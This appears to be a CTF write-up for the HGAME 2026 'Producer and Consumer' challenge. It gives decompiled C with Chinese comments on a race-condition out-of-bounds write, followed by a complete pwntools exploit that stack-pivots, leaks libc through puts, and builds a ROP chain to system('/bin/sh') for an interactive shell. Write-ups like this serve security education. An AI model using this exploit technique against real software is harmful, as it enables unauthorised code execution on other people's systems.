HGAME 2026

sem_wait(&sem);                // 1. 等待缓冲区有空位 (sem 初始为 8)
pthread_mutex_lock(&mutex);    // 2. 加锁，准备检查
if ( n7 <= 7 )                 // 3. 【Check】检查索引是否合法
{
    pthread_mutex_unlock(&mutex);// 4. 检查完立刻解锁
    sleep(1u);                   // 5. 故意制造 1 秒的“竞争窗口”
//由于第 4 行提前解锁，外加第 5 行强制 sleep(1)，这意味着：
//如果你在 1 秒内同时发起了 10 个 producer 请求，
//这 10 个线程都会拿到 n7 <= 7 的通过牌，然后全部进入 if 逻辑块内部。

v2[0] = 0; v2[1] = 1; v2[2] = 2; v2[3] = 3; v2[4] = 4;
    pthread_mutex_lock(&mutex_);
    seconds = v2[dword_404100];    // 获取睡眠时间
    dword_404100 = (dword_404100 + 1) % 5; // 轮询 0,1,2,3,4
    pthread_mutex_unlock(&mutex_);
    sleep(seconds);     // 6. 线程按 0~4 秒随机睡眠

v2[8] = n7;
    // 7. 【Use】越界写入数据
    *(_QWORD *)((char *)src + 8 * n7 % 80) = *(_QWORD *)ptra; 
    free(ptra);

sleep(1u);
    pthread_mutex_lock(&mutex);
    n7 = (n7 + 1) % 11;          // 8. 真正的更新全局变量 n7
    pthread_mutex_unlock(&mutex);
    sem_post(&sem_);             // 9. 通知消费者有新数据
  }

if ( n7 <= 7 ) {                  // [Check] 检查点
    pthread_mutex_unlock(&mutex); // 放开锁，大门敞开
    sleep(1u);                    // 巨大的竞争窗口
    // ... 写入数据 ...
    n7 = (n7 + 1) % 11;           // [Use] 更新点
}

In [1]: from pwn import *
   ...: #io = remote("forward.vidar.club",31709)
   ...: context.binary = ELF('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln',checksec =
   ...: False)
   ...: elf = ELF("/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln")
   ...: #io = process('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln')
   ...: #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
   ...: libc = ELF("/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/libc-2.31.so")
   ...: io = remote("forward.vidar.club",31618)
   ...: context.log_level = 'debug'
   ...: def pro(context):
   ...:     io.sendlineafter("input your choice>>",b'1')
   ...:     io.sendlineafter("input the data you want to produce:",context)
   ...:     #sleep(4.1)    
   ...: def con():
   ...:     io.sendlineafter("input your choice>>",b'2')
   ...: io.recvuntil(b'a gift for you:')
   ...: addr_leak = int(io.recv(10),16)
   ...: print("addr_leak: ",hex(addr_leak))
   ...: #pause()
   ...: ret_addr = 0x40101a
   ...: leave_addr = 0x4015a1
   ...: pop_rdi = 0x401963
   ...: main_addr= 0x40181a
   ...: buf_start = addr_leak +0x1800
   ...: puts_plt = elf.plt['puts']
   ...: puts_got = elf.got['puts']
   ...: print("buf_start: ",hex(buf_start))
   ...: print("ret_addr: ",hex(ret_addr))
   ...: print("main_addr: ",hex(main_addr))
   ...: print("buf_start: ",hex(buf_start))
   ...: print("leave_addr: ",hex(leave_addr))
   ...: 
   ...: pro(b'\x00'*8)#fake rbp
   ...: sleep(5)
   ...: #pro(p64(ret_addr))
   ...: #sleep(5)
   ...: pro(p64(pop_rdi))
   ...: sleep(5)
   ...: pro(p64(puts_got))
   ...: sleep(5)
   ...: pro(p64(puts_plt))
   ...: sleep(5)
   ...: pro(p64(main_addr))
   ...: sleep(5)
   ...: pro(p64(0))
   ...: sleep(5)
   ...: pro(p64(1))
   ...: sleep(5)
   ...: for i in range (7):
   ...:     con()
   ...: sleep(1)
   ...: #pause()
   ...: pro(b'aaaaaaaa')
   ...: pro(p64(buf_start))
   ...: pro(p64(leave_addr))
   ...: io.recvuntil(b'Data 9 has been produced.')
   ...: sleep(1)
   ...: io.sendline(b"3")
   ...: io.recvuntil(b'aaaaaaaa')
   ...: 
   ...: puts_addr = u64(io.recv(6).ljust(8, b'\x00'))#u64(io.recv(6).ljust(8,b'\x00'))
   ...: print("puts_addr: ",hex(puts_addr))
   ...: libc_base = puts_addr - libc.sym["puts"]
   ...: sys_addr = libc_base + libc.sym["system"]
   ...: binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
   ...: payload = p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
   ...: pro(b'llllllll')
   ...: sleep(5)
   ...: pro(p64(ret_addr))
   ...: sleep(5)
   ...: pro(p64(pop_rdi))
   ...: sleep(5)
   ...: pro(p64(binsh_addr))
   ...: sleep(5)
   ...: pro(p64(sys_addr))
   ...: sleep(5)
   ...: for i in range (2):
   ...:     pro(b'10101010')
   ...: sleep(5)
   ...: for i in range (7):
   ...:     con()
   ...: sleep(0.5)
   ...: pro(b'kkkkkkkk')#fake rbp
   ...: pro(p64(buf_start-32))
   ...: pro(p64(leave_addr))
   ...: io.recvuntil(b'Data 9 has been produced.')
   ...: sleep(1)
   ...: pause()
   ...: io.sendline(b'3')
   ...: #pause()
   ...: io.interactive()